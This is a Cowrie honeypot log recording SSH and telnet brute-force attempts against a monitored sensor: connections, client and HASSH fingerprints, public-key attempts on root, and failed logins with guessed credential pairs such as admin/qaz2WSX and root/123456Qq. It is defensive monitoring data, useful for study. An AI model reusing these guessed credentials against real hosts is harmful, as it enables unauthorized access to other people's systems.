{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:3d:d9:61:45:fa:9f:a1:32:7c:aa:1b:a4:4e:da:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPjcylf4T6d+TQm+TR8ec0iVrvI+SyYkll3d0qy/90Ly1UwUoR3JyRL8ju0aXfn2ag4rSr91O0a92Sh9Zy8HstX6sctO3kG1AU3XjHAbeeOUPhB4ie5jdZulbvhxlAnET3NluH+hHoMEUJHqx069miGMAwsXQFT/sM5LJ1hxXiwdQ/CcigBFE03n6FzYC7YbtlLbvIXOVoTpvvvolfNCqQYnM0WSw5gwju4duds4Q4fVbq/W0fe+lLofHnzxTaa+6CpL58Hc0L9PAvPmsP297Qb7hYhDiFT1aW52gbHXg6agozZC2MqwA3rxzLBCLKbQ2FKNdz+8a+iQUExeR902lF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.583641Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:fe:06:83:65:c2:db:fe:2e:4e:b9:4f:c4:d9:ce:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv0/AtbtcGeI+BcfOZIP+RwFmF1rg1mKJhcakzwz1Z1a3p4smOiFLIKCfhcMmCPxliLjuflJYKxGFxejF+B+y4ypvBIe+7LL43QiX0ho8srojV/n2oH8pJMz4eFfVoMlLeHaQYOUza9fVwmlB83sbkxbZglsbQ8pimGo85HioHx8kqdidtQRK69ctBF2X1TO27fxTk3Yg/MexVH+HzLY7LJWcu1rwGmToYQ2PwIHH+ruhKOF1a5NBd4sTtFuunToUw0eH/WtDM/+TCPTjFs9WplOyJEdFdXPqkm6J1BZ545kOYGmqiaDUiIavzaoD4qD5Aflz/oQ5e/Wu2sAOvf8iuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:fe:06:83:65:c2:db:fe:2e:4e:b9:4f:c4:d9:ce:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.675901Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:fe:06:83:65:c2:db:fe:2e:4e:b9:4f:c4:d9:ce:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv0/AtbtcGeI+BcfOZIP+RwFmF1rg1mKJhcakzwz1Z1a3p4smOiFLIKCfhcMmCPxliLjuflJYKxGFxejF+B+y4ypvBIe+7LL43QiX0ho8srojV/n2oH8pJMz4eFfVoMlLeHaQYOUza9fVwmlB83sbkxbZglsbQ8pimGo85HioHx8kqdidtQRK69ctBF2X1TO27fxTk3Yg/MexVH+HzLY7LJWcu1rwGmToYQ2PwIHH+ruhKOF1a5NBd4sTtFuunToUw0eH/WtDM/+TCPTjFs9WplOyJEdFdXPqkm6J1BZ545kOYGmqiaDUiIavzaoD4qD5Aflz/oQ5e/Wu2sAOvf8iuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.679963Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:42.774770Z","src_ip":"193.142.43.122","session":"d838c1723955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.91084671020508,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:47.434636Z","src_ip":"212.55.149.117","session":"eecb430bdc00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.533856868743896,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:10:47.561944Z","src_ip":"186.57.24.111","session":"5963f715e202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49260,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b706a9bfedd","protocol":"ssh","message":"New connection: 2.57.122.210:49260 (10.17.0.5:22) [session: 5b706a9bfedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:05.091420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:05.117224Z","src_ip":"2.57.122.210","session":"5b706a9bfedd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:05.233098Z","src_ip":"2.57.122.210","session":"5b706a9bfedd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:05.736321Z","src_ip":"2.57.122.210","session":"5b706a9bfedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:06.860567Z","src_ip":"2.57.122.210","session":"5b706a9bfedd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":28945,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbdceb6f5081","protocol":"ssh","message":"New connection: 213.209.159.56:28945 (159.203.135.109:22) [session: dbdceb6f5081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:18.871620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:18.876636Z","src_ip":"213.209.159.56","session":"dbdceb6f5081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:18.958549Z","src_ip":"213.209.159.56","session":"dbdceb6f5081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna","message":"login attempt [danna/danna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:19.358816Z","src_ip":"213.209.159.56","session":"dbdceb6f5081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna1","message":"login attempt [danna/danna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:20.443915Z","src_ip":"213.209.159.56","session":"dbdceb6f5081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":58964,"dst_ip":"10.17.0.5","dst_port":22,"session":"365a561fcbd3","protocol":"ssh","message":"New connection: 202.165.15.132:58964 (10.17.0.5:22) [session: 365a561fcbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:21.170657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:21.175403Z","src_ip":"202.165.15.132","session":"365a561fcbd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:21.419033Z","src_ip":"202.165.15.132","session":"365a561fcbd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna123","message":"login attempt [danna/danna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:21.528509Z","src_ip":"213.209.159.56","session":"dbdceb6f5081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qaz2WSX","message":"login attempt [admin/qaz2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:22.425220Z","src_ip":"202.165.15.132","session":"365a561fcbd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna1234","message":"login attempt [danna/danna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:22.612894Z","src_ip":"213.209.159.56","session":"dbdceb6f5081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:23.672396Z","src_ip":"202.165.15.132","session":"365a561fcbd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danna","password":"danna12345","message":"login attempt [danna/danna12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:23.697714Z","src_ip":"213.209.159.56","session":"dbdceb6f5081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:24.787853Z","src_ip":"213.209.159.56","session":"dbdceb6f5081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36985,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec616992f986","protocol":"telnet","message":"New connection: 212.55.149.117:36985 (10.17.0.5:23) [session: ec616992f986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:30.680709Z"}
{"eventid":"cowrie.session.closed","duration":120.03098106384277,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:39.278758Z","src_ip":"212.55.149.117","session":"1a66dca2b6a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":21584,"dst_ip":"10.17.0.5","dst_port":23,"session":"b929d9d291dc","protocol":"telnet","message":"New connection: 212.55.149.117:21584 (10.17.0.5:23) [session: b929d9d291dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:11:41.873699Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60356,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d4e4711472","protocol":"ssh","message":"New connection: 193.32.162.145:60356 (10.17.0.5:22) [session: c3d4e4711472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:04.905689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:04.910788Z","src_ip":"193.32.162.145","session":"c3d4e4711472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:05.012889Z","src_ip":"193.32.162.145","session":"c3d4e4711472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:05.318439Z","src_ip":"193.32.162.145","session":"c3d4e4711472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:06.423358Z","src_ip":"193.32.162.145","session":"c3d4e4711472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":38741,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f92e3e1615","protocol":"ssh","message":"New connection: 202.165.15.132:38741 (10.17.0.5:22) [session: 93f92e3e1615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:20.368424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:20.378039Z","src_ip":"202.165.15.132","session":"93f92e3e1615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:20.622054Z","src_ip":"202.165.15.132","session":"93f92e3e1615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456As","message":"login attempt [ubuntu/123456As] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:21.626761Z","src_ip":"202.165.15.132","session":"93f92e3e1615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:22.873277Z","src_ip":"202.165.15.132","session":"93f92e3e1615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0028338432312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:24.576699Z","src_ip":"212.55.149.117","session":"bc70e386c2a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.081509828567505,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:41.955099Z","src_ip":"212.55.149.117","session":"b929d9d291dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":52534,"dst_ip":"10.17.0.5","dst_port":22,"session":"c48cf206366a","protocol":"ssh","message":"New connection: 103.15.226.202:52534 (10.17.0.5:22) [session: c48cf206366a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:57.194320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:57.198543Z","src_ip":"103.15.226.202","session":"c48cf206366a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:57.449427Z","src_ip":"103.15.226.202","session":"c48cf206366a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Qq","message":"login attempt [root/123456Qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:58.214804Z","src_ip":"103.15.226.202","session":"c48cf206366a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:12:59.468459Z","src_ip":"103.15.226.202","session":"c48cf206366a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":42062,"dst_ip":"10.17.0.5","dst_port":22,"session":"54c6c55c8e86","protocol":"ssh","message":"New connection: 202.165.15.132:42062 (10.17.0.5:22) [session: 54c6c55c8e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:19.009725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:13:19.014773Z","src_ip":"202.165.15.132","session":"54c6c55c8e86","protocol":"ssh"}
